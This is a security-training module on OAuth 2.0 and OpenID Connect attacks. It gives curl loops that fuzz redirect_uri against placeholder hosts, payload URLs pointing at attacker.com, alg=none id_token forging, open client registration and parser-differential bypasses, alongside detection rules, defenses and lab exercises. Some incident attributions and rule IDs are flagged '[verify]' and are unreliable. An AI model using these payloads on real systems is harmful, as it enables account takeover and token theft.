OAuth & OIDC Attacks
OAuth 2.0 (RFC 6749) and OpenID Connect 1.0 are the protocol layer the modern web uses for delegated authorization and federated identity. The same primitives that let “Log in with Google” work are what produced the 2018 GitLab OAuth account takeover, the 2019 Microsoft Live.com OIDC token disclosure, the 2021 OAuth redirect-URI mass exploitation via redirect_uri misconfig (CVE-2021-36382-class), and the 2023 Okta support-system compromise that exposed OIDC token signing keys. The vulnerability class is not in the protocol — it is in how each implementer wires up redirect_uri validation, state binding, PKCE enforcement, and nonce verification. Subtle differences in URL-parser canonicalization between the OAuth client and the authorization server produce account takeover at scale.
The Core Concept
Section titled “The Core Concept”OAuth 2.0 authorization code flow (the production-grade flow for server-side apps):
User Client (RP) Auth Server (AS) │ │ │ │ 1. "Login w/ X" │ │ ├─────────────────────►│ │ │ │ 2. redirect to /auth? │ │ ◄───── 302 Location: https://AS/authorize? │ │ response_type=code& │ │ client_id=...& │ │ redirect_uri=https://RP/cb& │ │ scope=openid+email& │ │ state=<rand>& │ ← CSRF token │ code_challenge=<SHA256(verifier)>& │ ← PKCE │ nonce=<rand> │ ← OIDC replay guard │ │ │ 3. user clicks "Allow" │ ├──────────────────────────────────────────────────►│ │ │ │ 4. 302 back to redirect_uri?code=<authz_code>& │ │ state=<same_rand> │ │ ◄─────────────────────────────────────────────────┤ │ │ │ │ │ 5. POST /token │ │ │ grant_type=authz_code │ │ │ code=<authz_code> │ │ │ code_verifier=<PKCE │ │ │ original random> │ │ ├─────────────────────────────►│ │ │ │ │ │ 6. {access_token, id_token, │ │ │ refresh_token} │ │ │ ◄────────────────────────────┤ │ │ │ │ │ 7. RP validates id_token: │ │ │ - signature (JWKS) │ │ │ - iss, aud, exp, iat │ │ │ - nonce matches step 2 │ │ │ 8. RP establishes session │
Attack surfaces: - redirect_uri matching (path, scheme, subdomain canonicalization) - state CSRF (must be tied to RP session) - PKCE downgrade (S256 → plain → omitted) - nonce replay (must be single-use) - id_token signature (JWK header, alg confusion — W13) - account chooser / "Login as victim" prompt-click UX - implicit flow (response_type=token) — token in URL fragment, exposed - dynamic client registration — registering a malicious client - redirect_uri open redirect chains (login CSRF)OIDC adds the id_token (a JWT) on top of OAuth, which is the bridge to W13 (JWT attacks).
How It Works
Section titled “How It Works”- Identify the flow —
response_typein the authorization request:code— authorization code flow (recommended; the above diagram).token— implicit flow (deprecated in OAuth 2.1; token in URL fragment).id_token— implicit OIDC (deprecated).code id_token— hybrid (used by some financial-grade profiles).
- Identify the client type — confidential (server-side, has
client_secret) or public (SPA, mobile; no secret, relies on PKCE). - Probe
redirect_urivalidation — the highest-impact misconfig. Try:- Exact match:
redirect_uri=https://RP/cb— required. - Subdomain:
redirect_uri=https://attacker.RP.com/cb— server may match*.RP.com. - Path:
redirect_uri=https://RP.com/cb/../../../evil— path traversal. - Scheme:
redirect_uri=javascript://attacker.com//payload— scheme injection. - Fragment:
redirect_uri=https://RP.com/cb#evil— fragment tricks. - Open redirect chain:
redirect_uri=https://RP.com/cb?next=https://attacker.com— RP’s own open redirect chains to the attacker.
- Exact match:
- Probe
state— if state is absent, fixed, or not bound to the RP session → login CSRF. - Probe PKCE — if
code_challengeis omitted or downgraded toplain→ MITM can intercept the code (the original reason PKCE was added in RFC 7636, even for confidential clients — OAuth 2.1 makes PKCE mandatory). - Probe
nonce— ifnonceis absent or not validated against theid_token’snonceclaim → id_token replay. - Probe id_token — apply W13 attacks (alg=none, RS256→HS256, JWK header, kid traversal).
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
redirect_uri permissive | *.RP.com match → attacker subdomain (if attacker controls sub or via XSS) | Medium — depends on canonicalization |
redirect_uri path traversal | https://RP.com/cb/../evil accepted | Medium — depends on parser |
redirect_uri open-redirect chain | RP’s own open redirect takes the code to attacker | Hard — needs open redirect at RP |
| Login CSRF (state missing/weak) | Attacker starts OAuth flow, sends victim the callback URL | Easy to fix, easy to miss |
| PKCE downgrade (S256→plain) | MITM modifies the authz request to code_challenge_method=plain | Medium — needs network position |
| PKCE omission | Public client without PKCE → intercepted code is exchangeable | Easy — should be enforced |
id_token alg confusion | W13 attack against the OIDC id_token | Medium — library-dependent |
id_token replay (nonce missing) | Stolen id_token replayed, nonce not checked | Easy if nonce not validated |
| Implicit flow token leak | Token in URL fragment → leaked via Referer, browser history | Easy — implicit flow is deprecated for this reason |
| Token substitution | RP accepts any token from any issuer | Medium — multi-tenant apps |
| Refresh-token theft | Stolen refresh_token reused indefinitely | Easy if no rotation |
| Dynamic client registration | Attacker registers malicious client, gets client_id | Medium — depends on AS policy |
| “Login as victim” account chooser | Social — user clicks “Allow” on attacker’s app | Not a bug — UX risk |
Open redirect via post_logout_redirect_uri | RP’s RP-Initiated Logout endpoint has open redirect | Medium — common oversight |
Hands-On Commands
Section titled “Hands-On Commands”# Inspect the authorization endpoint — try redirect_uri variantsREDIR_BASE="https://target-app.com/callback"for u in \ "$REDIR_BASE" \ "$REDIR_BASE/../../../evil" \ "https://attacker.target-app.com/callback" \ "https://target-app.com/callback?next=https://attacker.com" \ "javascript://attacker.com//payload" \ "https://target-app.com/callback.evil.com" \ "https://target-app.com/callback#evil" ; do curl -sI "https://auth-server.com/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=$u&state=test&scope=openid" | head -3 echo "=== $u"done
# If a permissive redirect_uri is found, deliver login-CSRF to victim:# 1. Start a flow on attacker's browser, capture the authorize URL# 2. Send the authorize URL to the victim (or a permissive redirect_uri you control)# 3. Victim's browser completes the flow → attacker's pre-set state/session captures the code
# Decode the id_token (it's a JWT)echo -n '<id_token>' | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | jq .
# Verify id_token signature against the AS's JWKScurl -s https://auth-server.com/.well-known/openid-configuration | jq .jwks_uricurl -s <jwks_uri> | jq '.keys'
# Test if the RP validates the nonce# 1. Start a normal OIDC flow, capture the id_token# 2. Send the same id_token in a second flow with a different nonce — if accepted, nonce not validatedcurl -X POST https://target-app.com/login/callback -d "id_token=<id_token>&state=anything"
# Test alg=none on id_token (W13 attacks)python3 jwt_tool.py <id_token> -X n# Submit the forged id_token to the RP's callback endpoint
# Test refresh-token rotation# 1. Get a refresh token via a normal flow# 2. Use it once (POST /token grant_type=refresh_token)# 3. Use the OLD refresh token again — if 200, rotation not enforcedcurl -X POST https://auth-server.com/token -d "grant_type=refresh_token&refresh_token=<old>&client_id=ID"
# Probe dynamic client registrationcurl -X POST https://auth-server.com/register \ -H "Content-Type: application/json" \ -d '{"redirect_uris":["https://attacker.com/cb"],"client_name":"evil"}'# If 200 + client_id without auth, registration is open
# Burp extension: OAuth Scan (BApp Store) — automates redirect_uri fuzzing, state, PKCE# Burp → Extender → BApp Store → OAuth Scan# Right-click authorize request → OAuth Scan
# nuclei — OAuth/OIDC templatesnuclei -u https://target-app.com -t ~/nuclei-templates/http/technologies/ -tags oauth,oidcnuclei -u https://auth-server.com -t ~/nuclei-templates/http/exposures/ -tags config,openid
# Evading `redirect_uri` exact-match with URL parser differential# parsers disagree on:# https://RP.com/cb%23attacker.com (URL-decode then fragment)# https://RP.com/cb\@attacker.com (backslash in userinfo)# https://RP.com/cb?.attacker.com (path-relative query)# https://RP.com/cb#@attacker.com (fragment with @)# Try each; the AS may match one canonicalization while the user's browser navigates another
# Post-logout open redirectcurl -sI "https://target-app.com/logout?post_logout_redirect_uri=https://attacker.com/"Detection — Defender View
Section titled “Detection — Defender View”ModSecurity OWASP CRS — no dedicated OAuth rule family. Detection is via:
- 920220 (Content-Type policy) — catches malformed
/tokengrant types - 942100 (SQLi) — catches SQLi in
redirect_uri(some apps store it in DB) - 920300 (protocol) — catches scheme injection in
redirect_uri
Suricata — TLS SNI for auth-server.com and target-app.com correlation; no public SID for OAuth flow abuse [verify].
MITRE ATT&CK T1185 — Browser Session Hijacking (OAuth flow interception). MITRE ATT&CK T1606.001 — Forge Web Credentials: Web Cookies (refresh_token replay). MITRE ATT&CK T1550.001 — Application Access Token (OAuth access_token as a bearer). MITRE ATT&CK T1190 — Exploit Public-Facing Application (redirect_uri validation flaws).
Wazuh rule 920/31100 — OAuth redirect_uri containing external domain or traversal chars [verify].
Wazuh decoder for /token endpoint POST body — alert on grant_type enumeration and refresh_token reuse patterns [verify].
Defender log signatures:
/tokenendpoint responding 200 withgrant_type=refresh_tokenfor a token that was already used → no rotation./authorizeendpoint responding 302 to an externalredirect_uri→ permissive validation.- Multiple
/authorizerequests with differentstatefrom same RP session → state not bound.
Evasion Techniques
Section titled “Evasion Techniques”URL parser differentials for redirect_uri. The AS validates redirect_uri with one parser; the user’s browser navigates another. Examples that have bypassed real AS implementations:
https://RP.com/cb/../../evil— AS strips.., browser doesn’t.https://RP.com/cb%2F..%2Fevil— AS decodes, browser doesn’t.https://RP.com/cb#@attacker.com— fragment is part ofredirect_urifor the AS, but@attacker.comis host for the browser.https://RP.com/cb\.attacker.com— backslash treated as path separator by browser, not by some AS parsers.https://RP.com/cb?next=https://attacker.com— RP’s own open redirect chains the code to attacker.
Defense: exact string match only; reject any redirect_uri not pre-registered; pre-register exact path; never use substring match.
PKCE downgrade. RFC 7636 specifies S256 (SHA256 of verifier) and plain (verifier directly). If the AS accepts plain, a MITM who can modify the authorization request can downgrade from S256 to plain, then intercept the verifier from the user’s network traffic and complete the token exchange. OAuth 2.1 makes PKCE mandatory and plain discouraged.
Defense: AS rejects code_challenge_method=plain; AS enforces code_challenge presence for all flows.
Login CSRF via state. State is the OAuth CSRF token. If absent or not bound to the RP’s session (e.g., a static state, or no validation), an attacker starts an OAuth flow on their own browser, captures the /authorize URL with the state, and sends it to the victim. The victim’s browser completes the flow, and the RP binds the victim’s browser session to the attacker’s OAuth identity — the attacker now controls the victim’s RP account via the OAuth identity.
Defense: state is a random value generated by the RP, stored in the RP’s session, and validated on callback. Use PKCE as an additional CSRF defense (state + PKCE).
Token-substitution attack. The RP accepts an id_token from any OIDC provider, not just the configured one. Attacker registers their own OIDC provider (or uses a public one like a personal Auth0 tenant), issues an id_token for sub=victim@target.com, and submits it to the RP. RP, validating only the signature (not iss), accepts.
Defense: validate iss against the configured AS; validate aud against the RP’s client_id.
Implicit-flow token in URL fragment. Deprecated precisely because the token is exposed in browser history, Referer headers, and JS-accessible location.
Defense: use authorization code flow with PKCE; remove implicit flow.
| Attack | What it bypasses | Defense |
|---|---|---|
redirect_uri parser differential | Exact-match validation | Pre-register exact URL; reject any non-match |
| Login CSRF | State check | Bind state to RP session; PKCE |
| PKCE downgrade | code_challenge_method check | Reject plain; enforce PKCE for all flows |
| Token substitution | iss/aud validation | Validate iss == configured AS, aud == RP client_id |
| Refresh-token replay | Single-use refresh | Rotate on every use; revoke old; bind to client |
nonce replay | nonce validation | Generate fresh nonce per flow; check in id_token |
| Dynamic client registration | Registration ACL | Require auth on /register; allowlist by IP/org |
⚠️ What caught me: A SaaS allowed
redirect_urito be any path underhttps://app.target.com/oauth/. The exact-match rule looked strict. But the RP had an open redirect athttps://app.target.com/oauth/cb?next=URL. So the AS acceptedredirect_uri=https://app.target.com/oauth/cb?next=https://attacker.com(matched the prefix), and the RP’scbhandler redirected toattacker.comwith thecodeas a query param. The code never reached the legitimate callback handler. Lesson:redirect_urivalidation must check the entire URL, including any open-redirect parameters that exist downstream. The fix was a single exact-string allowlist perclient_id— no prefix matching at all.
Lab Practice
Section titled “Lab Practice”Container: PortSwigger Web Security Academy (free, browser-based) has dedicated OAuth labs: “Stealing OAuth access tokens via an open redirect”, “Stealing OAuth access tokens via a proxy”, “Forced OAuth profile linking”, “OAuth account hijacking via redirect_uri”, “Stealing authorization codes via a proxy”, “SSRF via OpenID Connect”.
# Lab URL: https://portswigger.net/web-security/oauth# No container needed — labs run in browser# Recommended sequence:# 1. OAuth account hijacking via redirect_uri (basic redirect_uri bypass)# 2. Stealing OAuth access tokens via an open redirect (chain)# 3. Forced OAuth profile linking (login CSRF variant)# 4. SSRF via OpenID Connect (dynamic client registration + redirect_uri SSRF)Alternative container: keycloak/keycloak for a real AS — register a client, configure permissive redirect_uri, exploit it.
Objective: complete at least 3 OAuth labs including (1) redirect_uri bypass and (2) login CSRF / forced profile linking. Demonstrate the chain from initial /authorize request to account takeover.
Expected flag format: flag{oauth_redirect_uri_or_state_csrf_takeover}.
Detection that should fire: ModSecurity 920300 on scheme injection in redirect_uri; the AS log should show redirect_uri mismatch with the registered value; the RP’s log should show a state mismatch error if state CSRF is attempted without the matching state. For login CSRF, the RP’s session log shows the victim’s session being bound to an attacker-controlled OAuth identity — alert on session-OAuth identity mismatch.
Interview Questions
Section titled “Interview Questions”Conceptual: explain why OAuth 2.0 added PKCE and why OAuth 2.1 makes it mandatory even for confidential clients. What threat does PKCE mitigate that client_secret does not?
Technical: walk through the redirect_uri parser-differential attack. Give two concrete canonicalization differences between a typical AS URL validator and a browser, and the corresponding defense.
Scenario: you find a RP that accepts an id_token from any OIDC provider without validating iss. Describe the full account-takeover chain, including how the attacker obtains a validly-signed id_token for the victim’s sub.
Compare login CSRF (state fixation) and SAML signature wrapping (W11). Both are “signature-adjacent” attacks against federated identity — what is the structural similarity, and what does it tell us about federation protocol design?
What is the role of the nonce claim in OIDC, why is it required in addition to state, and what attack becomes possible if the RP validates state correctly but does not validate nonce?
Related Modules
Section titled “Related Modules”→ W11 (Authentication Bypass) · W13 (JWT Attacks) · W15 (API Security (REST))